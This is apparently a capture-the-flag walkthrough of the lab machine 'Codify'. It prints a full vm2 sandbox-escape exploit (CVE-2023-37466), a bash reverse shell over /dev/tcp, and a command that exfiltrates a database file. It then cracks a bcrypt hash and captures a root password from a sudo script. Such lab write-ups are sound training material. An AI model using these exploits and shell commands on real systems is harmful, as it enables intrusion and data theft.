Reconnaissance

First, I added the new host to my known ones:

sudo echo "10.10.11.239 codify.htb" | sudo tee -a /etc/hosts

Then, I performed a Nmap scan:

nmap -sC -T4 -p- codify.htb > sC.txt
 
[redacted]
PORT   STATE SERVICE
22/tcp   open  ssh
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp   open  http
|_http-title: Codify
3000/tcp open  ppp

So I checked its website:

As the website says: โ€œThis website allows you to test your Node.js code in a sandbox environment. Enter your code in the editor and see the output in real-time.โ€, so I can test any code I want.

Inspecting the /About endpoint I discovered a library called vm2 being used:

The current version is 3.9.16

Weaponization

I searched for โ€œvm2 exploitโ€ and got This exploit:

/*
# Exploit Title: vm2 Sandbox Escape vulnerability
# Date: 23/12/2023
# Exploit Author: Calil Khalil & Adriel Mc Roberts
# Vendor Homepage: https://github.com/patriksimek/vm2
# Software Link: https://github.com/patriksimek/vm2
# Version: vm2 <= 3.9.19
# Tested on: Ubuntu 22.04
# CVE : CVE-2023-37466
*/
 
const { VM } = require("vm2");
const vm = new VM();
 
const command = 'pwd'; // Change to the desired command
 
const code = `
async function fn() {
    (function stack() {
        new Error().stack;
        stack();
    })();
}
 
try {
    const handler = {
        getPrototypeOf(target) {
            (function stack() {
                new Error().stack;
                stack();
            })();
        }
    };
 
    const proxiedErr = new Proxy({}, handler);
 
    throw proxiedErr;
} catch ({ constructor: c }) {
    const childProcess = c.constructor('return process')().mainModule.require('child_process');
    childProcess.execSync('${command}');
}
`;
 
console.log(vm.run(code));

Exploitation

I executed the sript but changing the command to id:

Got RCE, so time to get a shell :D

const command = 'bash -c "bash -i >& /dev/tcp/10.10.14.27/666 0>&1"';

Got a shell :D

Pivoting

I noticed a user called joshua with home directory.

I can read /etc/passwd:

joshua:x:1000:1000:,,,:/home/joshua:/bin/bash

I searched for .db like:

find / -type f -name "*.db*" 2>/dev/null
 
[redacted]
/var/www/contact/tickets.db

Iโ€™ll send this db to my machine. As the machine doesnโ€™t have python installed, Iโ€™ll try another way:

# In my machine start a nc listener to receive the file
nc -lnvp 888 > tickets.db
 
# Then in the victim's machine
cat /var/www/contact/tickets.db > /dev/tcp/10.10.14.27/888

I can now open it with SqliteBrowser:

So now Iโ€™ve got joshuaโ€™s hash: $2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2 which seems to be in bcrypt format. So Iโ€™ll use hashcat to crack it:

hashcat -m 3200 -o cracked.txt hash.txt /usr/share/wordlists/rockyou.txt
 
[redacted]
$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:spongebob1

So Iโ€™ve got creds :D joshua:spongebob1

User flag

Privilege Escalation

If I check for sudo vulnerability:

sudo -l
 
[redacted]
(root) /opt/scripts/mysql-backup.sh

After inspecting the script I noticed that the password passed to mysql is not the same as we input, so if I could bypass the input I would be able to become root.

I can use a snooping tool to monitor the processes like pspy for this.

Iโ€™ll upload it to the machine and then use two different ssh sessions: one to execute the script and the other one to execute pspy:

# In my machine
python3 -m http.server 8090
 
# In codify.htb [ssh session1]
wget http://10.10.14.27:8090/pspy64s
chmod +x pspy64s
./pspy64s -i 1
 
# In codify.htb [ssh session2]
sudo /opt/scripts/mysql-backup.sh
 
# In codify.htb [ssh session1] Provide as password: *
  • The -i 1 option means updating the log each 1 second

We can see in cleartext the password: root:kljh12k3jhaskjh12kjh3

  • Remember to eliminate the p after -, I was stuck 5 mins here xd

I can now log in as root and read root flag :D

Root flag

Machine pwned!